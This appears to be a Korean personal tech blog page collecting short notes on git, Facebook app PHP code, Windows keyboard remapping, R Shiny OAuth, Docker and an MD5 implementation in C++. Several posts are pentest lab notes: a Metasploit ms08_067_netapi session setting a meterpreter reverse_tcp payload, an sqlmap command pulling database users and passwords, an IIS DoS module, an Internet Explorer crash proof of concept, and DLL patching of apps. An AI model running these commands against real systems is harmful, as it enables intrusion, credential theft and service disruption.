메뉴 건너뛰기

imp

smali <-> java

suritam92013.07.26 20:34조회 수 3043댓글 0

    • 글자 크기
suritam9 (비회원)
    • 글자 크기
[backtrack] ms10_065_ii6_asp_dos (by suritam9) [R] googleAuthR 을 이용한 oAuth 인증 및 로그인 아이디 얻기 (by suritam9)

댓글 달기

[다음View] 외부게시글 이용해 등록하기

[원문보기]
이미, 블로그가 다음View 에 가입되어 있는데, 외부 게시판에서 등록하고 싶다면, 새로운 아이디를 만들어야 한다.

그래야 가입하기 버튼이 잘 나온다.

xe의 경우 http://주소/xe/?mid=test1&act=rss 로 rss경로를 바꿔줘야 하는데, 이부분은 MY다음view에서 새글보내기를 누르고 설정할 수 있다. 이런 건 설명이 제대로 안 되어 있어서, 날 여러날 괴롭혔다. T.T;;;;

[GIT] github의 기본적인 명령어

[원문보기]
git reset : add나 rm 명령들을 제거한다.



git는 명령어를 사용하면 commit하고, push 하기 전 까지 완전히 적용이 안 된다.

따라서 add/rm 후, commit 하여 local repository에 적용시키고, push하여 remote repository에 까지 업데이트 한다.

1. git add[rm] 파일명
2. git commit -m "메시지"
3. git push origin master

업데이트 된 내용을 받으려면

git pull

하면 된다.


git checkout  -- <파일> : 현재 작업 중인 파일 중 수정된 파일을 index에 있는 것으로 원복
git reset --hard : 현재 작업 중이 파일을 모두 원복 시킴
git reset -- <파일명> : add같은 명령어로 인덱싱한 것을 취소함

[OSX] VMWARE 에 WINDOWS 설치 후, 키보드 매핑

[원문보기]

http://docs.cena.co.kr/?mid=textyle&category=13620&document_srl=17478

위 사이트를 참고하였다.

Left Option(0038) -> Left Windows(E05B)

Left Command(E05B) -> Left Alt(0038)

Right Control(E01D) -> Context Menu(E05D)

Right Option(E038) -> 한자(E071)

Right Command(E05C) -> 한글(E072)


위와 같이 변경해 보았으나, 기본적으로 Left Command + Tab이 OSX의 창 전환 기능이기 때문에, WINDOWS에서 사용할 수 없다. 그래서 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlKeyboard Layout

에서 Scancode Map의 데이터를 다음과 같이 입력했다.

00 00 00 00   // Map Header

00 00 00 00   // Map Version

06 00 00 00   // Count (DWORD)

5B E0 5B E0   // Left Command(E05B) -> Left Windows(E05B)

38 00 38 00   // Left Option(0038) -> Left Alt(0038)

5D E0 1D E0   // Right Control(E01D) -> Context Menu(E05D)-> 내 맥북 AIR에는 없다

71 E0 38 E0   // Right Option(E038) -> 한자(E071)

72 E0 5C E0   // Right Command(E05C) -> 한글(E072)

00 00 00 00

이렇게 하여, 한자, 한글만 적용했다. 

[MAC LION] launchpad 아이콘 삭제

[원문보기]
# Clear applications listed in Launchpad
sqlite3 ~/Library/Application Support/Dock/*.db "DELETE from apps;
  DELETE from groups WHERE title<>''; DELETE from items WHERE rowid>2;"
  && killall Dock

위 명령어를 사용하면 된다.
http://verified-fool.tistory.com/55

또다른 방법으로는 launchpad control를 설치해 필요 없는 것을 제거하는 방법이다.

http://chaosspace.de/launchpad-control/

위 사이트에서 받으면 된다.

첨부도 있으니, sh Kill_all_apps_on_Lauchpad.sh 를 실행해 아이콘을 삭제할 수 있고,

Launchpad-Control.prefPane 를 실행해 환경설정에 등록한 후, 보이길 원하지 않는 아이콘을 체크 해제해 적용할 수 있다.

[FACEBOOK] 앱 만들기1

[원문보기]
https://developers.facebook.com/apps

위 사이트에 가서 새 앱 만들기를 누른다.

F1.jpg

이름을 입력하면, 위와 같이 Basic 설정으로 넘어간다.

앱 네임스페이스는 앱의 이름이라고 할 수 있다. 영어로 쓴다.

이메일은 자신의 이메일을 쓰면 된다.

F2.jpg

아래에 웹사이트, 캔버스 URL, MObile Web URL은 http://주소/facebook/ 로 모두 동일하게 적어도 된다.
캔버스 페이지는 http://apps.facebook.com/네임스페이스


변경내용을 저장하고,
이제 facebook 디렉터리의 index.php를 작성한다.


위 사이트에서 sdk를 다운로드 하고 아래와 같이 기본 코드를 작성한다.

require "./php-sdk/src/facebook.php";

$facebook = new Facebook(array(
  'appId'  => '', //어플리케이션 생성시 발급된 'Application ID'를 넣어주자.
  'secret' => '', //어플리케이션 생성시 발급된 'Application Secret' 을 넣어주자.
  'cookie' => true,
));

// Get User ID
$user = $facebook->getUser();

// We may or may not have this data based on whether the user is logged in.
//
// If we have a $user id here, it means we know the user is logged into
// Facebook, but we don't know if the access token is valid. An access
// token is invalid if the user logged out of Facebook.

if ($user) {
  try {
    // Proceed knowing you have a logged in user who's authenticated.
    $user_profile = $facebook->api('/me');
  } catch (FacebookApiException $e) {
    error_log($e);
    $user = null;
  }
}

// Login or logout url will be needed depending on current user state.
if ($user) {
  $logoutUrl = $facebook->getLogoutUrl();
} else {
  $loginUrl = $facebook->getLoginUrl();
}
$session=$facebook->getUser();
if ($session==null) {
사용자가 승인하는 부분 // 다음 게시글에서 다룬다.
}

[FACEBOOK] 앱 만들기2 - 담벼락에 글 쓰기, 글 가져오기, 생일 및 프로필 보기

[원문보기]
read_stream, publish_stream, user_birthday
에서 r은 뉴스 피드 읽기, p는 게시하기, u는 생일 가져오기 인데, 나머지가 더 필요하면 ref에서 찾아보기 바란다.
$user_profile 변수(배열)에 user_birthday가 포함되어 있으며, 나머지 필드는 var_dump, print_r 등으로 확인하변 된다.

허가하지 않으면, 페북 메인으로 가게 했고, 허가하면, 앱으로 가도록 했다.

F3.jpg

F4.jpg

if ($session==null) {
 $url = $facebook->getLoginUrl(array('scope' => 'read_stream,publish_stream,user_birthday','cancel_url'=>'http://www.facebook.com','next' => 'http://apps.facebook.com/앱네임스페이스/'));
 echo "<script> document.location.replace('$url'); </script>";
} else if($session=$facebook->getUser()){
if($_SERVER['QUERY_STRING']==""){//iframe으로 들어가지 않아 이런 허접한 방법을 썼다.
$birthday=$user_profile[birthday];//생일
$hometown=$user_profile[hometown];//고향
$sports=$user_profile[sports];//좋아하는 운동
$feeds   = $facebook->api('/me/feed?limit=2000&access_token='.$session["access_token"]); //뉴스 피드 가져오기
$data=$feeds[data];//데이터 변수에 넣어 출력 준비

//아래와 같은 반복문으로 댓글과 메시지를 출력할 수 있다.
for($i=0;$i<count($data);$i++){
$msg=$data[$i];
$comments=$data[$i][comments];
$count=count($comments[data]);

if($user==$msg[from][id]){
if($msg[message]!="")
$ret[]=$msg[message];
}
for($k=0;$k<$count;$k++){
$cd=$comments[data][$k];
if($user==$cd[from][id])
if($msg[message]!="")
$ret[]=$cd[message];
}
}
//원하면 아래와 같이 접근자의 사진을 출력할 수 있다.
echo '<img src="https://graph.facebook.com/'.$user.'/picture">';

// 아래와 같은 데이터 구조로 접근자 담벼락에 글을 쓸 수 있다.
$attachment = array('message' => '메시지',
                'name' => $title,
                'caption' => $desc,
                'link' => $link,
                'description' => $desc,
                'picture' => $imgurl,
                'actions' => array(array('name' => '앱이름',
                                  'link' => 'http://apps.facebook.com/앱네임스페이스'))
                );


    $result = $facebook->api('/me/feed/',
                                'post',
                                $attachment);
}else{//승인은 되었으나 iframe안에 있지 않을 때, 앱 메인으로 이동시킨다.
echo "<script> document.location.replace('http://apps.facebook.com/앱네임스페이스'); </script>";
}
}
F5.jpg

[Webdav] pearl로 취약성 테스트 하기

[원문보기]

위 사이트에서 파일을 다운로드 받아 대상 사이트(< IIS 5)에 테스트 본다.

vmware에서 win 2000 iis5, win 2003 iis6 에서 해봤는데 둘 다 잘 안된다.

기본적으로 prohibit이고, 거의 쓰는데가 없으므로 체크리스트로의 가치가 점점 줄어든다고 할 수 있다.

error가 발생되면서 실행되지 않으면,

# cpan -i HTTP::DAV

를 하여 필요한 내용을 설치해 준다.

11.JPG

[backtrack] netbios 바인딩 microsoft-ds 445 취약점

[원문보기]
1.jpg

그림과 같이 설정되어 있으면, backtrack의 ms08_067_netapi를 이용한 exploit으로 쉘에 접근할 수 있다.

nmap을 통해 확인해 보면,

445/tcp  open  microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds

위와 같이 열려 있는 경우가 있다.

backtrack에서

$ msfconsole

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140
RHOST => 10.211.55.140
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162
msf exploit(ms08_067_netapi) > exploit

위와 같이 하면, 바로 쉘에 접근되고, 관련 동영상은 아래 주소에 있다.


해결 방법은 netbios 사용 안함(disable)로 설정하면 된다.

275.jpg

[챗봇] 대화형 질의 응답 만들기

[원문보기]

대화형 챗봇을 통해 문자열 입력시 대답하도록 한다.

 

채팅방에서 실행하게 되면, @봇이름 대화 형식으로 하고, DM일 경우 문자열을 입력하기만 하면 응답한다.

 

 

https://cloud.google.com/blog/products/g-suite/building-a-google-hangouts-chatbot-using-apps-script

 

[채팅방]

at.png

[DM]

 

DM.png

 

https://github.com/gsuitedevs/hangouts-chat-samples/blob/master/apps-script/vote-text-bot/vote-text-bot.js

 

투표하기 코드를 조금 고쳐서 스프레드시트에 응답 결과를 저장하도록 했다.

클릭 횟수를 프로세스의 단위로 삼아 1번 질문, 2번 질문, ...  n번 질문 후 마지막에 앞으로 돌아가도록 했다.

 

이 설문의 문제는 스프레드시트 쓰기 권한이 oAuth 로 승인되어야 해서 스크립트를 실행하여 권한을 얻어야 하는 문제가 있다.

 

ar.png

 

배포된 스크립트로 하는게 아닌 메니페스토에서 배포라서 스크립트를 작성한 사용자의 권한을 대행하지 못하는 것 같다.

 

권한 문제가 있어 설문으로 활용할 방법에 대해 좀 더 고민해 봐야겠다.

 

또한 다른 도메인 사용자 일때도 안 되는 것 같다.

 

글로벌 권한이 있는 계정으로 다시 만들어 테스트 해봐야 겠다.

 

rs.png

 

 

[backtrack] sqlmap을 이용한 injection test 및 주요 정보 획득

[원문보기]

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u ""http://~/?param=1&param=2" -v 1 --current-user --password


를 입력해 error based 공격으로 id를 알아낸다.


파라미터를 어떤거에 대입할 건지 묻는 말이 나오는데, default는 앞에 있는 파라미터 이다.


id만 알아내도, 무작위 대입으로 외부에서 접근 가능한 db에 로그인 시도가 가능하다.



[backtrack] ms10_065_ii6_asp_dos

[원문보기]

iis 6.0 취약점을 이용한 공격


    <%

        Dim variable

        variable = Request.Form("FOOBAR")

    %

위와 같이 변수 받는 내용이 있는 페이지여야 하며, 아래와 같이 RHOST와 URI 설정 후 run을 한다.


URI default 값은 page.asp 이다.

https://github.com/OpenWireSec/metasploit/blob/master/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb


1.PNG



2.PNG


Microsoft IIS 6.0 ASP Stack Overflow (Stack Exhaustion) Denial of Service (MS10-065) 를 참고했다.

http://www.exploit-db.com/exploits/15167/

[backtrack] ms10_065_ii6_asp_dos

[원문보기]

iis 6.0 취약점을 이용한 공격


    <%

        Dim variable

        variable = Request.Form("FOOBAR")

    %

위와 같이 변수 받는 내용이 있는 페이지여야 하며, 아래와 같이 RHOST와 URI 설정 후 run을 한다.


URI default 값은 page.asp 이다.

https://github.com/OpenWireSec/metasploit/blob/master/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb


1.PNG



2.PNG


Microsoft IIS 6.0 ASP Stack Overflow (Stack Exhaustion) Denial of Service (MS10-065) 를 참고했다.

http://www.exploit-db.com/exploits/15167/

[R] googleAuthR 을 이용한 oAuth 인증 및 로그인 아이디 얻기

[원문보기]

https://code.markedmondson.me/googleAuthR/articles/google-authentication-types.html

상기 경로로 구현해 보았다.

 

아래 코드로 이용 가능하며, 클라이언트 id 부분은 개발자 콘솔에서 사용자 인증 정보를 웹애플리케이션에 사용하는 것으로 만들어 활용하면 된다.

 

localhost는 잘 되지 않아, shinyapps.io 를 사용 경로로 등록해서 잘 동작하였다.

 

library(shiny)
library(googleAuthR)

options(googleAuthR.webapp.client_id = "###")

ui <- fluidPage(

    titlePanel("Sample Google Sign-In"),

    sidebarLayout(
      sidebarPanel(
        googleSignInUI("demo")
      ),

      mainPanel(
        with(tags, dl(dt("Name"), dd(textOutput("g_name")),
                      dt("Email"), dd(textOutput("g_email")),
                      dt("Image"), dd(uiOutput("g_image")) ))
      )
    )
  )

server <- function(input, output, session) {

  sign_ins <- shiny::callModule(googleSignIn, "demo")

  output$g_name = renderText({ sign_ins()$name })
  output$g_email = renderText({ sign_ins()$email })
  output$g_image = renderUI({ img(src=sign_ins()$image) })

}

# Run the application 
shinyApp(ui = ui, server = server)

[XSS] 익스플로러 취약점을 이용한 클라이언트 공격

[원문보기]

Post-mortem Analysis of a Use-After-Free Vulnerability (CVE-2011-1260)


로 제목이 되어있고, http://www.exploit-monday.com/2011/07/post-mortem-analysis-of-use-after-free_07.html


에 소개되어 있다.


<html>

<body>

<script language='javascript'>

document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";

document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";

document.body.innerHTML += "AAAAAAA";

document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";

</script>

</body>

</html>


위 코드가 있는 페이지에 접속하면 ie에 오류를 일으킬 수 있고, 영문 XP pro 에서는 다운까지 시킬 수 있다고 한다.



이거 말고도, 쉘 탈취도 있는데, http://vimeo.com/10171900


동영상을 참고할 수 있다.


XSS 가 세션, 쿠키 탈취, CSRF 정도만 되는 줄 알았는데, 쉘탈취 까지 될 줄이야....


8.jpg

[C#] dll 변조

[원문보기]

C#으로 된 dll은 reflector로 decompile 한 코드를 확인하고,


clover.JPG


pang.JPG 


IDA 로 HEX 위치를 확인해,


df.JPG


ULTRA EDIT로 편집해 변조(패치) 가능하다.


720to300.JPG


C# DLL이 포함된 모바일 앱(안드로이드 apk)의 경우 이런 식으로 가공하면, 설치 후 사용할 수 있다..

[C++] md5 해시 만들기

[원문보기]

원래 해더 파일이 분리되어있는데, include 로 안 되서 걍 붙여 넣어 버렸다.

CString md5hash;

char sseed[100];

strRes="문자열";

sprintf( sseed, "%s", strRes);

md5hash=md5((LPSTR)(LPCSTR)sseed);


특정 문자열과 조합된 char 형태를 cstring 으로 해서 넣으면 cstring 타입으로 리턴 값을 얻을 수 있다.


#ifndef md5_INCLUDED

#  define md5_INCLUDED


/*

 * This package supports both compile-time and run-time determination of CPU

 * byte order.  If ARCH_IS_BIG_ENDIAN is defined as 0, the code will be

 * compiled to run only on little-endian CPUs; if ARCH_IS_BIG_ENDIAN is

 * defined as non-zero, the code will be compiled to run only on big-endian

 * CPUs; if ARCH_IS_BIG_ENDIAN is not defined, the code will be compiled to

 * run on either big- or little-endian CPUs, but will run slightly less

 * efficiently on either one than if ARCH_IS_BIG_ENDIAN is defined.

 */


typedef unsigned char md5_byte_t; /* 8-bit byte */

typedef unsigned int md5_word_t; /* 32-bit word */


/* Define the state of the MD5 Algorithm. */

typedef struct md5_state_s {

md5_word_t count[2]; /* message length in bits, lsw first */

md5_word_t abcd[4]; /* digest buffer */

md5_byte_t buf[64]; /* accumulate block */

} md5_state_t;


#ifdef __cplusplus

extern "C" 

{

#endif


/* Initialize the algorithm. */

void md5_init(md5_state_t *pms);


/* Append a string to the message. */

void md5_append(md5_state_t *pms, const md5_byte_t *data, int nbytes);


/* Finish the message and return the digest. */

void md5_finish(md5_state_t *pms, md5_byte_t digest[16]);


#ifdef __cplusplus

}  /* end extern "C" */

#endif


#endif /* md5_INCLUDED */



#undef BYTE_ORDER /* 1 = big-endian, -1 = little-endian, 0 = unknown */

#ifdef ARCH_IS_BIG_ENDIAN

#  define BYTE_ORDER (ARCH_IS_BIG_ENDIAN ? 1 : -1)

#else

#  define BYTE_ORDER 0

#endif


#define T_MASK ((md5_word_t)~0)

#define T1 /* 0xd76aa478 */ (T_MASK ^ 0x28955b87)

#define T2 /* 0xe8c7b756 */ (T_MASK ^ 0x173848a9)

#define T3    0x242070db

#define T4 /* 0xc1bdceee */ (T_MASK ^ 0x3e423111)

#define T5 /* 0xf57c0faf */ (T_MASK ^ 0x0a83f050)

#define T6    0x4787c62a

#define T7 /* 0xa8304613 */ (T_MASK ^ 0x57cfb9ec)

#define T8 /* 0xfd469501 */ (T_MASK ^ 0x02b96afe)

#define T9    0x698098d8

#define T10 /* 0x8b44f7af */ (T_MASK ^ 0x74bb0850)

#define T11 /* 0xffff5bb1 */ (T_MASK ^ 0x0000a44e)

#define T12 /* 0x895cd7be */ (T_MASK ^ 0x76a32841)

#define T13    0x6b901122

#define T14 /* 0xfd987193 */ (T_MASK ^ 0x02678e6c)

#define T15 /* 0xa679438e */ (T_MASK ^ 0x5986bc71)

#define T16    0x49b40821

#define T17 /* 0xf61e2562 */ (T_MASK ^ 0x09e1da9d)

#define T18 /* 0xc040b340 */ (T_MASK ^ 0x3fbf4cbf)

#define T19    0x265e5a51

#define T20 /* 0xe9b6c7aa */ (T_MASK ^ 0x16493855)

#define T21 /* 0xd62f105d */ (T_MASK ^ 0x29d0efa2)

#define T22    0x02441453

#define T23 /* 0xd8a1e681 */ (T_MASK ^ 0x275e197e)

#define T24 /* 0xe7d3fbc8 */ (T_MASK ^ 0x182c0437)

#define T25    0x21e1cde6

#define T26 /* 0xc33707d6 */ (T_MASK ^ 0x3cc8f829)

#define T27 /* 0xf4d50d87 */ (T_MASK ^ 0x0b2af278)

#define T28    0x455a14ed

#define T29 /* 0xa9e3e905 */ (T_MASK ^ 0x561c16fa)

#define T30 /* 0xfcefa3f8 */ (T_MASK ^ 0x03105c07)

#define T31    0x676f02d9

#define T32 /* 0x8d2a4c8a */ (T_MASK ^ 0x72d5b375)

#define T33 /* 0xfffa3942 */ (T_MASK ^ 0x0005c6bd)

#define T34 /* 0x8771f681 */ (T_MASK ^ 0x788e097e)

#define T35    0x6d9d6122

#define T36 /* 0xfde5380c */ (T_MASK ^ 0x021ac7f3)

#define T37 /* 0xa4beea44 */ (T_MASK ^ 0x5b4115bb)

#define T38    0x4bdecfa9

#define T39 /* 0xf6bb4b60 */ (T_MASK ^ 0x0944b49f)

#define T40 /* 0xbebfbc70 */ (T_MASK ^ 0x4140438f)

#define T41    0x289b7ec6

#define T42 /* 0xeaa127fa */ (T_MASK ^ 0x155ed805)

#define T43 /* 0xd4ef3085 */ (T_MASK ^ 0x2b10cf7a)

#define T44    0x04881d05

#define T45 /* 0xd9d4d039 */ (T_MASK ^ 0x262b2fc6)

#define T46 /* 0xe6db99e5 */ (T_MASK ^ 0x1924661a)

#define T47    0x1fa27cf8

#define T48 /* 0xc4ac5665 */ (T_MASK ^ 0x3b53a99a)

#define T49 /* 0xf4292244 */ (T_MASK ^ 0x0bd6ddbb)

#define T50    0x432aff97

#define T51 /* 0xab9423a7 */ (T_MASK ^ 0x546bdc58)

#define T52 /* 0xfc93a039 */ (T_MASK ^ 0x036c5fc6)

#define T53    0x655b59c3

#define T54 /* 0x8f0ccc92 */ (T_MASK ^ 0x70f3336d)

#define T55 /* 0xffeff47d */ (T_MASK ^ 0x00100b82)

#define T56 /* 0x85845dd1 */ (T_MASK ^ 0x7a7ba22e)

#define T57    0x6fa87e4f

#define T58 /* 0xfe2ce6e0 */ (T_MASK ^ 0x01d3191f)

#define T59 /* 0xa3014314 */ (T_MASK ^ 0x5cfebceb)

#define T60    0x4e0811a1

#define T61 /* 0xf7537e82 */ (T_MASK ^ 0x08ac817d)

#define T62 /* 0xbd3af235 */ (T_MASK ^ 0x42c50dca)

#define T63    0x2ad7d2bb

#define T64 /* 0xeb86d391 */ (T_MASK ^ 0x14792c6e)



static void md5_process(md5_state_t *pms, const md5_byte_t *data /*[64]*/){

md5_word_t

a = pms->abcd[0], b = pms->abcd[1],

c = pms->abcd[2], d = pms->abcd[3];

md5_word_t t;

#if BYTE_ORDER > 0

    /* Define storage only for big-endian CPUs. */

    md5_word_t X[16];

#else

    /* Define storage for little-endian or both types of CPUs. */

    md5_word_t xbuf[16];

    const md5_word_t *X;

#endif


{

#if BYTE_ORDER == 0

/*

* Determine dynamically whether this is a big-endian or

* little-endian machine, since we can use a more efficient

* algorithm on the latter.

*/

static const int w = 1;


if (*((const md5_byte_t *)&w)) /* dynamic little-endian */

#endif

#if BYTE_ORDER <= 0 /* little-endian */

{

   /*

* On little-endian machines, we can process properly aligned

* data without copying it.

*/

if (!((data - (const md5_byte_t *)0) & 3)) {

/* data are properly aligned */

X = (const md5_word_t *)data;

} else {

/* not aligned */

memcpy(xbuf, data, 64);

X = xbuf;

}

}

#endif

#if BYTE_ORDER == 0

else /* dynamic big-endian */

#endif

#if BYTE_ORDER >= 0 /* big-endian */

{

   /*

* On big-endian machines, we must arrange the bytes in the

* right order.

*/

const md5_byte_t *xp = data;

int i;


#  if BYTE_ORDER == 0

   X = xbuf; /* (dynamic only) */

#  else

#    define xbuf X /* (static only) */

#  endif

   for (i = 0; i < 16; ++i, xp += 4)

xbuf[i] = xp[0] + (xp[1] << 8) + (xp[2] << 16) + (xp[3] << 24);

}

#endif

}


#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32 - (n))))


    /* Round 1. */

    /* Let [abcd k s i] denote the operation

       a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */

#define F(x, y, z) (((x) & (y)) | (~(x) & (z)))

#define SET(a, b, c, d, k, s, Ti)

  t = a + F(b,c,d) + X[k] + Ti;

  a = ROTATE_LEFT(t, s) + b

    /* Do the following 16 operations. */

    SET(a, b, c, d,  0,  7,  T1);

    SET(d, a, b, c,  1, 12,  T2);

SET(c, d, a, b,  2, 17,  T3);

SET(b, c, d, a,  3, 22,  T4);

SET(a, b, c, d,  4,  7,  T5);

SET(d, a, b, c,  5, 12,  T6);

SET(c, d, a, b,  6, 17,  T7);

SET(b, c, d, a,  7, 22,  T8);

SET(a, b, c, d,  8,  7,  T9);

SET(d, a, b, c,  9, 12, T10);

SET(c, d, a, b, 10, 17, T11);

SET(b, c, d, a, 11, 22, T12);

SET(a, b, c, d, 12,  7, T13);

SET(d, a, b, c, 13, 12, T14);

SET(c, d, a, b, 14, 17, T15);

SET(b, c, d, a, 15, 22, T16);

#undef SET


     /* Round 2. */

     /* Let [abcd k s i] denote the operation

          a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */

#define G(x, y, z) (((x) & (z)) | ((y) & ~(z)))

#define SET(a, b, c, d, k, s, Ti)

  t = a + G(b,c,d) + X[k] + Ti;

  a = ROTATE_LEFT(t, s) + b

     /* Do the following 16 operations. */

    SET(a, b, c, d,  1,  5, T17);

    SET(d, a, b, c,  6,  9, T18);

SET(c, d, a, b, 11, 14, T19);

SET(b, c, d, a,  0, 20, T20);

SET(a, b, c, d,  5,  5, T21);

SET(d, a, b, c, 10,  9, T22);

SET(c, d, a, b, 15, 14, T23);

SET(b, c, d, a,  4, 20, T24);

SET(a, b, c, d,  9,  5, T25);

SET(d, a, b, c, 14,  9, T26);

SET(c, d, a, b,  3, 14, T27);

SET(b, c, d, a,  8, 20, T28);

SET(a, b, c, d, 13,  5, T29);

SET(d, a, b, c,  2,  9, T30);

SET(c, d, a, b,  7, 14, T31);

SET(b, c, d, a, 12, 20, T32);

#undef SET


     /* Round 3. */

     /* Let [abcd k s t] denote the operation

          a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */

#define H(x, y, z) ((x) ^ (y) ^ (z))

#define SET(a, b, c, d, k, s, Ti)

  t = a + H(b,c,d) + X[k] + Ti;

  a = ROTATE_LEFT(t, s) + b

     /* Do the following 16 operations. */

    SET(a, b, c, d,  5,  4, T33);

    SET(d, a, b, c,  8, 11, T34);

SET(c, d, a, b, 11, 16, T35);

SET(b, c, d, a, 14, 23, T36);

SET(a, b, c, d,  1,  4, T37);

SET(d, a, b, c,  4, 11, T38);

SET(c, d, a, b,  7, 16, T39);

SET(b, c, d, a, 10, 23, T40);

SET(a, b, c, d, 13,  4, T41);

SET(d, a, b, c,  0, 11, T42);

SET(c, d, a, b,  3, 16, T43);

SET(b, c, d, a,  6, 23, T44);

SET(a, b, c, d,  9,  4, T45);

SET(d, a, b, c, 12, 11, T46);

SET(c, d, a, b, 15, 16, T47);

SET(b, c, d, a,  2, 23, T48);

#undef SET


     /* Round 4. */

     /* Let [abcd k s t] denote the operation

          a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */

#define I(x, y, z) ((y) ^ ((x) | ~(z)))

#define SET(a, b, c, d, k, s, Ti)

  t = a + I(b,c,d) + X[k] + Ti;

  a = ROTATE_LEFT(t, s) + b

     /* Do the following 16 operations. */

    SET(a, b, c, d,  0,  6, T49);

    SET(d, a, b, c,  7, 10, T50);

SET(c, d, a, b, 14, 15, T51);

SET(b, c, d, a,  5, 21, T52);

SET(a, b, c, d, 12,  6, T53);

SET(d, a, b, c,  3, 10, T54);

SET(c, d, a, b, 10, 15, T55);

SET(b, c, d, a,  1, 21, T56);

SET(a, b, c, d,  8,  6, T57);

SET(d, a, b, c, 15, 10, T58);

SET(c, d, a, b,  6, 15, T59);

SET(b, c, d, a, 13, 21, T60);

SET(a, b, c, d,  4,  6, T61);

SET(d, a, b, c, 11, 10, T62);

SET(c, d, a, b,  2, 15, T63);

SET(b, c, d, a,  9, 21, T64);

#undef SET


     /* Then perform the following additions. (That is increment each

        of the four registers by the value it had before this block

        was started.) */

    pms->abcd[0] += a;

    pms->abcd[1] += b;

pms->abcd[2] += c;

pms->abcd[3] += d;

}


void md5_init(md5_state_t *pms)

{

pms->count[0] = pms->count[1] = 0;

pms->abcd[0] = 0x67452301;

pms->abcd[1] = /*0xefcdab89*/ T_MASK ^ 0x10325476;

pms->abcd[2] = /*0x98badcfe*/ T_MASK ^ 0x67452301;

pms->abcd[3] = 0x10325476;

}


void md5_append(md5_state_t *pms, const md5_byte_t *data, int nbytes){

const md5_byte_t *p = data;

int left = nbytes;

int offset = (pms->count[0] >> 3) & 63;

md5_word_t nbits = (md5_word_t)(nbytes << 3);


if (nbytes <= 0)

return;


/* Update the message length. */

pms->count[1] += nbytes >> 29;

pms->count[0] += nbits;

if (pms->count[0] < nbits)

pms->count[1]++;


/* Process an initial partial block. */

if (offset) {

int copy = (offset + nbytes > 64 ? 64 - offset : nbytes);


memcpy(pms->buf + offset, p, copy);

if (offset + copy < 64)

return;

p += copy;

left -= copy;

md5_process(pms, pms->buf);

}


/* Process full blocks. */

for (; left >= 64; p += 64, left -= 64)

md5_process(pms, p);


/* Process a final partial block. */

if (left)

memcpy(pms->buf, p, left);

}


void md5_finish(md5_state_t *pms, md5_byte_t digest[16]){

static const md5_byte_t pad[64] = {

0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

};

md5_byte_t data[8];

int i;


/* Save the length before padding. */

for (i = 0; i < 8; ++i)

data[i] = (md5_byte_t)(pms->count[i >> 2] >> ((i & 3) << 3));

/* Pad to 56 bytes mod 64. */

md5_append(pms, pad, ((55 - (pms->count[0] >> 3)) & 63) + 1);

/* Append the length. */

md5_append(pms, data, 8);

for (i = 0; i < 16; ++i)

digest[i] = (md5_byte_t)(pms->abcd[i >> 2] >> ((i & 3) << 3));

}


CString md5(const CString strMd5)

{

    md5_state_t state;

    md5_byte_t digest[16];

    char hex_output[16*2 + 1];

    int di;


    md5_init(&state);

md5_append(&state, (const md5_byte_t *)(LPSTR)(LPCSTR)strMd5, strMd5.GetLength());

    md5_finish(&state, digest);


    for (di = 0; di < 16; ++di)

        sprintf(hex_output + di * 2, "%02x", digest[di]);

    return hex_output;

}

[R] AWS에 도커로 Shiny server 설치 후 googleAuthR 을 이용

[원문보기]

AWS t2.micro 에서 R을 이용한 shiny 패키지 설치가 잘 되지 않는다.

 

그래서 shiny server를 설치하더라도 3838포트는 접속 되지만 shiny app 은 실행시킬 수 없다.

 

sudo snap install docker 

sudo docker pull rocker/shiny-verse

도커 설치 후 실행한 뒤 (여기까지는 https://wikidocs.net/66611 사이트 참고)

 

sudo docker container run -d -p 3838:3838 rocker/shiny-verse

sudo docker container ls

sudo docker exec -it 컨테이너명 or ID /bin/bash

 

쉘로 들어간 다음에

R 을 실행시키고 명령 프롬프트에서 install.packages("googleAuthR") 으로 googleAuthR 패키지를 설치한다.

 

그 후 home 폴더 하위에 디렉터리를 생성하고, app.R 파일을 만들어 소스를 저장한다.

 

기존 도커를 종료 시키고 저장한 앱을 실행시키면 추가 패키지로 인한 오류 때문에 실행되지 않은 앱들의 문제를 해결 할 수 있다.

 

sudo docker container stop 컨테이너명 or ID

sudo docker run --rm -d -p 3838:3838 -v /home/ubuntu/[폴더명]:/srv/shiny-server/[앱이름] rocker/shiny-verse

 

shiny-welcome.png

 

[C++] Base64 encoding

[원문보기]
CString strmsg;
ToBase64(strmsg,strlen(strmsg));

리턴값은 Cstring 과 유사한 타입이다.


CStringA ToBase64(const void* bytes, int byteLength);

CStringA ToBase64(const void* bytes, int byteLength)
{
    ASSERT(0 != bytes);

    CStringA base64;
    int base64Length = Base64EncodeGetRequiredLength(byteLength);

    VERIFY(Base64Encode(static_cast<const BYTE*>(bytes),
                        byteLength,
                        base64.GetBufferSetLength(base64Length),
                        &base64Length));

    base64.ReleaseBufferSetLength(base64Length);
    return base64;
}

[C++] AES-128 활용 원격 로그인 구현

[원문보기]

계획은 이렇다.


받은 ID, PW를 asc2hex로 변환한다.


C/S 프로그램에서 AES 128로 암호화한 ID, PW를 base64로 인코딩해 보낸다.


